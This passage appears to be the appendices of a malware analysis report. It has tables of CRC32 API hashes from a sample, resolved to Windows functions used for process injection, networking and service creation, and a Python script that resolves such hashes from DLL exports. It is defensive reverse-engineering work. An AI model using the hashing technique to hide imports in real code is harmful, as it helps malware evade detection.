0x54BF4072 | TerminateProcess |
0x5764C7D0 | MapViewOfFile |
0x57AE26E9 | CreateProcessA |
0x59454763 | ExpandEnvironmentStringsA |
0x5C79E9FF | LCMapStringA |
0x5CA76EFC | DeleteCriticalSection |
0x5DEA8D31 | CreatePipe |
0x5E1016D6 | CreateFileW |
0x629DCE31 | SetCurrentDirectoryW |
0x64EFD1D2 | LoadLibraryExA |
0x657F1A76 | WideCharToMultiByte |
0x667AF71D | SetFilePointerEx |
0x69D3CE38 | GetStringTypeA |
0x6ADB82C6 | CreateNamedPipeW |
0x6E649434 | DeleteFileA |
0x6F95F94F | CreateThread |
0x6FFCBEB5 | GetConsoleOutputCP |
0x71139260 | GetSystemTimeAsFileTime |
0x7207819C | GetCurrentThreadId |
0x7AB4C783 | GetLocaleInfoW |
0x7BC9086A | IsDebuggerPresent |
0x7C6586FA | SetErrorMode |
0x7D65BB85 | ConnectNamedPipe |
0x7E0C63E6 | FindNextFileW |
0x7E68FFB3 | Process32FirstW |
0x7EB24952 | CreateDirectoryA |
0x7EFDC07A | ProcessIdToSessionId |
0x7F509D1E | ExitThread |
0x81C17B2A | EncodePointer |
0x84221D18 | Wow64SetThreadContext |
0x8A66FC03 | CreateDirectoryW |
0x8AD8D6B7 | FindNextFileA |
0x8D0EE1C6 | MultiByteToWideChar |
0x8E6072D2 | GetLocaleInfoA |
0x8EE3D934 | GetLogicalDrives |
0x903B6483 | LoadLibraryExW |
0x96497B60 | SetCurrentDirectoryA |
0x976BF8A9 | FileTimeToSystemTime |
0x985383D9 | SystemTimeToTzSpecificLocalTime |
0x9AB02165 | DeleteFileW |
0x9B61463E | GetThreadContext |
0x9D077B69 | GetStringTypeW |
0x9E0F3797 | CreateNamedPipeA |
0xA124E28D | HeapAlloc |
0xA23ED800 | GetConsoleMode |
0xA2E7FBEC | VirtualProtectEx |
0xA37A93B8 | CreateProcessW |
0xA4BDE607 | GetTickCount |
0xA6BDEBA2 | SetNamedPipeHandleState |
0xA6C9813B | GetStartupInfoW |
0xA7765701 | HeapReAlloc |
0xA8AD5CAE | LCMapStringW |
0xA9773427 | SetThreadContext |
0xAAC4A387 | CreateFileA |
0xAD91F232 | ExpandEnvironmentStringsW |
0xAF201BD3 | DebugBreak |
0xB0A768D1 | WriteProcessMemory |
0xB1A88E58 | GetComputerNameW |
0xB61FD3CB | VirtualQuery |
0xB6346F01 | Wow64GetThreadContext |
0xB81509F1 | TlsFree |
0xB9212FD2 | GetModuleHandleExW |
0xBAAD2FDE | GetModuleHandleW |
0xBD0B6607 | DeleteProcThreadAttributeList |
0xBD145B30 | WaitNamedPipeA |
0xBF09BD92 | GetProcessHeap |
0xBF30D8C2 | CreateFileMappingW |
0xC03E4272 | LoadLibraryA |
0xC2C09F60 | FindFirstFileW |
0xC6E54950 | UnmapViewOfFile |
0xC78D4146 | ResumeThread |
0xCACD855B | GetEnvironmentStringsA |
0xCC1AFA11 | RemoveDirectoryA |
0xCCB68E4D | GetCurrentDirectoryW |
0xCF9FE3E3 | GetFileAttributesA |
0xD06FE642 | DisconnectNamedPipe |
0xD0F32668 | CompareStringW |
0xD0FE5166 | EnterCriticalSection |
0xD1560B28 | SetEnvironmentVariableA |
0xD1AFCBF4 | IsWow64Process |
0xD2994E3A | GetCommandLineA |
0xD32EFB0C | ReadConsoleW |
0xD4AC3CE4 | GetVersionExW |
0xD4F4B85A | OutputDebugStringA |
0xD5B4BA7F | MoveFileW |
0xD6EAA3C6 | TlsSetValue |
0xD8092904 | GetCPInfo |
0xD9830E5A | Process32First |
0xD9A3A95F | InitializeProcThreadAttributeList |
0xDAE64EA5 | SetEndOfFile |
0xDAEF6833 | ExitProcess |
0xDC74CEEB | Thread32First |
0xDDB97D05 | GetFullPathNameA |
0xE24BEC1C | GetCurrentProcessId |
0xE375E849 | WriteConsoleA |
0xE3A7BFC3 | IsValidCodePage |
0xE3D071C5 | FreeEnvironmentStringsW |
0xE44BC2DF | GetLocalTime |
0xE619A249 | GetCurrentThread |
0xE961C8D8 | TlsAlloc |
0xECAC0FD0 | UnhandledExceptionFilter |
0xEFF990D0 | VirtualProtect |
0xF5E7F2F4 | HeapSize |
0xF631F2B5 | VirtualAlloc |
0xF6A3FC2F | ReadFile |
0xF740085F | GetModuleFileNameA |
0xFD712A3F | Process32Next |
0xFE662366 | CopyFileA |
ws2_32.dll
| Hash CRC32 | API resolvida |
|---|---|
0x053BE917 | htons |
0x2AC874D1 | ioctlsocket |
0x34EB427D | WSASocketA |
0x3DDB9802 | listen |
0x4CDF12CB | accept |
0x5129B6C4 | ntohl |
0x588CC532 | send |
0x5A392888 | closesocket |
0x5F0A036C | WSAStartup |
0x6067C93F | WSAIoctl |
0x6A5D213D | shutdown |
0x6AC070A3 | __WSAFDIsSet |
0x71CC6743 | WSACleanup |
0x8833E4E2 | htonl |
0x8B3006E0 | connect |
0xA627AD52 | recv |
0xAFF54180 | WSAGetLastError |
0xB40D153F | select |
0xB9330CAC | bind |
0xC03FF72C | WSASocketW |
0xC88ABA5D | gethostbyname |
0xDC21BB31 | ntohs |
0xFA1A9744 | socket |
wininet.dll
| Hash CRC32 | API resolvida |
|---|---|
0x00FF4E09 | HttpSendRequestA |
0x099E7708 | HttpQueryInfoW |
0x14786735 | InternetErrorDlg |
0x1AE6E2DB | InternetCloseHandle |
0x1D68C08E | HttpAddRequestHeadersW |
0x25E957C2 | InternetOpenA |
0x3AB06AA7 | InternetQueryOptionA |
0x3DB05A0B | InternetConnectA |
0x4171F640 | InternetSetOptionW |
0x4515EC5F | InternetSetStatusCallbackA |
0x4F5642C5 | HttpOpenRequestW |
0x933F670A | InternetReadFile |
0xB1C1590E | InternetSetStatusCallbackW |
0xB5A54311 | InternetSetOptionA |
0xBB82F794 | HttpOpenRequestA |
0xC964EF5A | InternetConnectW |
0xCE64DFF6 | InternetQueryOptionW |
0xD13DE293 | InternetOpenW |
0xE5068E1B | InternetQueryDataAvailable |
0xE9BC75DF | HttpAddRequestHeadersA |
0xF42BFB58 | HttpSendRequestW |
0xFD4AC259 | HttpQueryInfoA |
advapi32.dll
| Hash CRC32 | API resolvida |
|---|---|
0x267823E2 | CreateServiceA |
0x3995935B | QueryServiceStatus |
0x793811AD | OpenSCManagerA |
0x7E4B6E4A | StartServiceW |
0x8A9FDB1B | StartServiceA |
0x8DECA4FC | OpenSCManagerW |
0x8F8A3020 | CloseServiceHandle |
0xD2AC96B3 | CreateServiceW |
0xD646D2A5 | DeleteService |
Appendix E — Complete Hash Resolution Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pathlib import Path
from collections import defaultdict
import pefile
kernel32_hashes = [
0x35F56674, 0x4F6CEA0B, 0x24279339, 0xD0F32668, 0x7D65BB85, 0xFE662366, 0xAB29637, 0x7EB24952, 0x8A66FC03, 0xAAC4A387, 0x5E1016D6, 0x4BE46D93, 0xBF30D8C2, 0x9E0F3797, 0x6ADB82C6, 0x5DEA8D31, 0x57AE26E9, 0xA37A93B8, 0x7F73EF, 0x6F95F94F, 0x3E0C4789, 0xAF201BD3, 0x2DC506A1, 0x5CA76EFC, 0x6E649434, 0x9AB02165, 0xBD0B6607, 0xD06FE642, 0x1DE0986E, 0x81C17B2A, 0xD0FE5166, 0xDAEF6833, 0x7F509D1E, 0x59454763, 0xAD91F232, 0x976BF8A9, 0x27D40965, 0x36142A31, 0xC2C09F60, 0x8AD8D6B7, 0x7E0C63E6, 0x5C2D077, 0x1704C494, 0xE3D071C5, 0x2597DC70, 0x288801BB, 0xD8092904, 0xD2994E3A, 0x264DFB6B, 0x457C3B09, 0xB1A88E58, 0x32AA51AB, 0xA23ED800, 0x6FFCBEB5, 0x38623B1C, 0xCCB68E4D, 0x2F79E55B, 0xE24BEC1C, 0xE619A249, 0x7207819C, 0xCACD855B, 0x3E19300A, 0xCF9FE3E3, 0x3B4B56B2, 0x231ACDD9, 0xDDB97D05, 0x296DC854, 0x2D1AC948, 0xE44BC2DF, 0x8E6072D2, 0x7AB4C783, 0x8EE3D934, 0xF740085F, 0x394BD0E, 0x4E799A8F, 0xBAAD2FDE, 0x4DF59A83, 0xB9212FD2, 0x4EACF3C1, 0x3683E000, 0xBF09BD92, 0x521D346A, 0xA6C9813B, 0x25227614, 0x69D3CE38, 0x9D077B69, 0x71139260, 0x9B61463E, 0xA4BDE607, 0x207889B5, 0xD4AC3CE4, 0xA124E28D, 0x4E7D2056, 0x6EE1D63, 0x4F091756, 0xA7765701, 0xF5E7F2F4, 0x1C812D1E, 0xD9A3A95F, 0x7BC9086A, 0x43F291E1, 0xE3A7BFC3, 0xD1AFCBF4, 0x5C79E9FF, 0xA8AD5CAE, 0x17F91E53, 0xC03E4272, 0x34EAF723, 0x64EFD1D2, 0x903B6483, 0x5764C7D0, 0x21600F2E, 0xD5B4BA7F, 0x8D0EE1C6, 0x20D8AEB4, 0x47AB7900, 0xD4F4B85A, 0x20200D0B, 0xB635934, 0xD9830E5A, 0xFD712A3F, 0x7E68FFB3, 0x43949840, 0x7EFDC07A, 0x52A94FBD, 0x27FA4E5D, 0xD32EFB0C, 0xF6A3FC2F, 0x83851BD, 0xCC1AFA11, 0x38CE4F40, 0xC78D4146, 0x96497B60, 0x629DCE31, 0xDAE64EA5, 0xD1560B28, 0x2582BE79, 0x7C6586FA, 0x1038158B, 0x667AF71D, 0x4505FC28, 0x22041FCB, 0xA6BDEBA2, 0x2A3CA097, 0xA9773427, 0x347BE5AB, 0x310D1257, 0x985383D9, 0x54BF4072, 0xDC74CEEB, 0xAE688F8, 0xE961C8D8, 0xB81509F1, 0x2E1B9C17, 0xD6EAA3C6, 0xECAC0FD0, 0xC6E54950, 0x5199F0B9, 0xF631F2B5, 0x19D17DB2, 0x32AC0A22, 0xEFF990D0, 0xA2E7FBEC, 0xB61FD3CB, 0x1FA744BA, 0xBD145B30, 0x49C0EE61, 0x657F1A76, 0xB6346F01, 0x84221D18, 0xE375E849, 0x17A15D18, 0x3316A9ED, 0xB0A768D1
]
ws2_32_hashes = [
0x71CC6743, 0xAFF54180, 0x6067C93F, 0x34EB427D, 0xC03FF72C, 0x5F0A036C, 0x6AC070A3, 0x4CDF12CB, 0xB9330CAC, 0x5A392888, 0x8B3006E0, 0xC88ABA5D, 0x8833E4E2, 0x53BE917, 0x2AC874D1, 0x3DDB9802, 0x5129B6C4, 0xDC21BB31, 0xA627AD52, 0xB40D153F, 0x588CC532, 0x6A5D213D, 0xFA1A9744
]
wininet_hashes = [
0xE9BC75DF, 0x1D68C08E, 0xBB82F794, 0x4F5642C5, 0xFD4AC259, 0x99E7708, 0xFF4E09, 0xF42BFB58, 0x1AE6E2DB, 0x3DB05A0B, 0xC964EF5A, 0x25E957C2, 0xD13DE293, 0xE5068E1B, 0x3AB06AA7, 0xCE64DFF6, 0x933F670A, 0xB5A54311, 0x4171F640, 0x4515EC5F, 0xB1C1590E, 0x14786735
]
advapi32_hashes = [
0x8F8A3020, 0x267823E2, 0xD2AC96B3, 0xD646D2A5, 0x793811AD, 0x8DECA4FC, 0x3995935B, 0x8A9FDB1B, 0x7E4B6E4A
]
def malware_crc32_name(name: bytes) -> int:
crc = 0xFFFFFFFF
for byte in name:
crc ^= byte
for _ in range(8):
if crc & 1:
crc = (
(crc >> 1) ^
0xEDB88320
)
else:
crc >>= 1
crc &= 0xFFFFFFFF
return crc
def build_export_hash_index(
dll_path: Path
):
pe = pefile.PE(str(dll_path))
index = defaultdict(list)
for export in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if not export.name:
continue
export_name = export.name.decode(
"ascii",
errors="replace"
)
export_hash = malware_crc32_name(
export.name
)
index[export_hash].append(
export_name
)
return index
def resolve_hashes(
dll_name: str,
dll_path: Path,
hashes: list[int]
):
export_index = build_export_hash_index(
dll_path
)
results = []
for target_hash in hashes:
matches = export_index.get(
target_hash & 0xFFFFFFFF,
[]
)
if matches:
for api_name in matches:
results.append({
"dll": dll_name,
"hash": (
target_hash &
0xFFFFFFFF
),
"api": api_name,
})
else:
results.append({
"dll": dll_name,
"hash": (
target_hash &
0xFFFFFFFF
),
"api": "UNRESOLVED",
})
return results
all_results = []
"""
If you are on Linux, you can get the respective DLLs at
https://winbindex.m417z.com/?file=<DLL_Name>.dll
and change the paths below to run this script
"""
jobs = {
"kernel32.dll": {
"path": Path(
r"C:\Windows\SysWOW64\kernel32.dll"
),
"hashes": kernel32_hashes,
},
"ws2_32.dll": {
"path": Path(
r"C:\Windows\SysWOW64\ws2_32.dll"
),
"hashes": ws2_32_hashes,
},
"wininet.dll": {
"path": Path(
r"C:\Windows\SysWOW64\wininet.dll"
),
"hashes": wininet_hashes,
},
"advapi32.dll": {
"path": Path(
r"C:\Windows\SysWOW64\advapi32.dll"
),
"hashes": advapi32_hashes,
},
}
for dll_name, job in jobs.items():
results = resolve_hashes(
dll_name,
job["path"],
job["hashes"]
)
all_results.extend(results)
print(f"\n--- {dll_name} ---")
for result in results:
print(
f"0x{result['hash']:08X}"
f" -> {result['api']}"
)
Learn more
1) DFIR Report (2023): From ScreenConnect to Hive Ransomware in 61 hours
2) eSentire Threat Intelligence Malware Analysis (2023): Resident Campaign

















